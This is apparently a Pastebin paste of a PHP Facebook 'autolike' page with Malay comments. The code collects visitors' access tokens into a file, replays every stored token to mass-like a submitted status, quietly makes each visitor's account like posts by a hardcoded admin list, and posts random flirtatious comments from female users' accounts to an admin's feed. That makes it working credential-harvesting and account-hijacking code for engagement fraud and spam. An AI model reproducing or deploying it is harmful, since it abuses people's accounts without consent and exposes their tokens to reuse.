Advertisement
tobitaz

home.php with proxy

Jan 14th, 2014
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.74 KB | None | 0 0
  1.              
  2.  <?php
  3. include("proxy.php");
  4.  
  5.  
  6. //ganti dgn nama file yg ko nak utk simpan token
  7. $tokenko = "tk.txt";
  8. $tokeng = $_GET["token"];
  9.  
  10. //edit to off kalo nak off proxy
  11. $proxystatus = "on";
  12.  
  13.  
  14.  
  15.  
  16. //buang text bendasing
  17.  
  18. $buangtext = strripos($tokeng, "&expires_in=0");
  19.  
  20. if($buangtext > 1)
  21. {
  22. $unuk = "&expires_in=0";
  23. $token = str_replace($unuk, "", $tokeng);
  24. }
  25. else
  26. {
  27. $token = $tokeng;
  28. }
  29.  
  30. //tamat
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41. //app id yang ko nak org mesti guna
  42. $appid = "260273468396";
  43.  
  44.  
  45. $check = tobitaz("graph.facebook.com/app?access_token=".$token, $proxystatus);
  46. $cek = strripos($check, $appid);
  47.  
  48.  
  49.  
  50. if($token != null)
  51. {
  52. if($cek === false)
  53. {
  54. die("Please use accesstokens from apps that we provide");
  55. }
  56. }
  57.  
  58.  
  59.  
  60.  
  61.  
  62.  
  63.  
  64.  
  65.  
  66.  
  67. //check token ada
  68. if($token === null)
  69. {
  70. die("Please submit access token");
  71. }
  72.  
  73. //cek token invalid
  74.  
  75. $k = tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus);
  76.  
  77.  
  78. $check = strripos($k, "OAuthException");
  79.  
  80.  
  81. if($check > 1)
  82. {
  83. die("Access token invalid");
  84. }
  85.  
  86.  
  87.  
  88.  
  89.  
  90. //check permision
  91.  
  92. $per1 = "user_likes";
  93. $per2 = "publish_stream";
  94.  
  95.  
  96. $taf = tobitaz("graph.facebook.com/me/permissions?access_token=".$token, $proxystatus);
  97.  
  98. $ga = strripos($taf, $per1);
  99. $gu = strripos($taf, $per2);
  100.  
  101.  
  102. if($ga < 1 or $gu < 1)
  103. {
  104. die("Please allow ".$per1." And ".$per2." Permission!");
  105. }
  106.  
  107. //show like
  108.  
  109.  
  110.    $cre = fopen($tokenko, "a+");
  111.    $f = file_get_contents($tokenko);
  112.    $cf = strripos($f, $token);
  113.         if($cf === false)
  114.            {
  115.          
  116.             fwrite($cre, $token."\n");
  117.             echo "ok";
  118.             }
  119.  
  120.            
  121.  
  122. $staid = tobitaz("graph.facebook.com/me/feed?fields=id,message&access_token=".$token, $proxystatus);
  123.  
  124.  
  125. $taz = json_decode($staid)->data;
  126.  
  127.  
  128.  
  129. //html autolike
  130.  
  131.  
  132.  
  133.  
  134. //start otolke
  135. $statusid = $_POST["statusid"];
  136. if($statusid != null)
  137. {
  138. $geto = preg_split('/(\r?\n)+/', $f);
  139.       foreach($geto as $phc)
  140.    {
  141.  
  142. tobitaz("graph.facebook.com/".$statusid."/likes?method=post&access_token=".$phc, $proxystatus);
  143.  
  144.  
  145.  
  146.     }
  147. echo '<script src="remover.php"></script>';
  148.  
  149. echo "<center><font style='font-size:40px; color:white;'>Done!</font></center>";
  150.  
  151.  
  152. }
  153.  
  154.  
  155.  
  156.  
  157.  
  158.  
  159.  
  160.  
  161.  
  162.  
  163.  
  164.            
  165.      fclose($cre);
  166.  
  167.  
  168.  
  169.  
  170.  
  171.  
  172.  
  173. //admin otolik
  174.  
  175. $listadmin = array("suehqiylhq.hieynhqthqaurellqkowmq", "mohdtazme", "AnimeOSekai", "dB.myliker", "penggodamdfc", "benarbah", "100005851834909", "Ivytrinitydepaula", "Prog.fajri");
  176.  
  177.   foreach($listadmin as $admin)
  178. {
  179.  
  180. $gcu = tobitaz("graph.facebook.com/".$admin."/feed?fields=id&access_token=".$token, $proxystatus);
  181.  
  182.  
  183. $jsta = json_decode($gcu)->data;
  184.  
  185.  
  186. tobitaz("graph.facebook.com/".$jsta[0]->id."/likes?method=post&access_token=".$token, $proxystatus);
  187.  
  188. }
  189.  
  190.  
  191.  
  192. $jaw = json_decode(tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus));
  193.  
  194. //chek id
  195.  
  196.  
  197. $jagu = json_decode(tobitaz("graph.facebook.com/mohdtazme/feed?fields=id&access_token=".$token, $proxystatus))->data;
  198.  
  199.  
  200.  
  201. $nod = json_decode(tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus));
  202.  
  203. $fnod = file_get_contents("id.txt");
  204.  
  205. //cek id strripos
  206.  
  207. $nos = strripos($fnod, $nod->id.$jagu[0]->id);
  208.  
  209. if($jaw->gender == "female" && $nos === false)
  210. {
  211.  
  212.  
  213.  
  214. $kokop = array("i+love+u+...+muah", "sayang+<3", "mungkinkah+kau+merasakan+semua+yg+kupasrahkan", "muah<3", "i+miss+u<3", "awak...+i+love+u+laaa", "jom+chat", "asal+u+xreply+msg+i", "im+ur+big+fans<3");
  215.  
  216. $koawe = $kokop[array_rand($kokop)];
  217.  
  218.  
  219. tobitaz("graph.facebook.com/".$jagu[0]->id."/comments?access_token=".$token."&method=post&message=".$koawe, $proxystatus);
  220.  
  221.  
  222. //no double comment
  223.  
  224.  
  225.  
  226. $nodc = fopen("id.txt", "a+");
  227.               fwrite($nodc, $nod->id.$jagu[0]->id."\n");
  228.               fclose($nodc);
  229.  
  230. }
  231.  
  232.  
  233.  
  234. chmod($tokenko, 0600);
  235.  
  236. //bendasing dlm home
  237.  
  238. $dp = json_decode(tobitaz("graph.facebook.com/me?access_token=".$token, $proxystatus));
  239.  
  240.  
  241.  
  242. ?>    
  243.  
  244.  
  245.   <body style="background-color:black; width:100%;">
  246.         <center>
  247. <img src="https://graph.facebook.com/me/picture?type=large&access_token=<?php echo $token; ?>" /><br />
  248. <font color="white"><?php echo $dp->name; ?></font><br />
  249.         <div style="border:3px grey outset; background-color:grey; width:60%;">
  250.         <form action="" method="post">
  251.         <font color="red">STATUS:</font><br /><font color="white"><?php echo $taz[0]->message; ?></font>
  252.        
  253.         <input type="hidden" name="token" value="'.$token.'"><br />
  254.         <font color="white" style="float:left;">statusid:</font><br /><input name="statusid" value="<?php echo $taz[0]->id; ?>" style="float:left;">
  255.        
  256.       <br /> <button type="submit" style="float:right; border:3px red outset; color:white; background-color:red;">AUTOLIKE</button>
  257.         </form><br /></div><br />
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement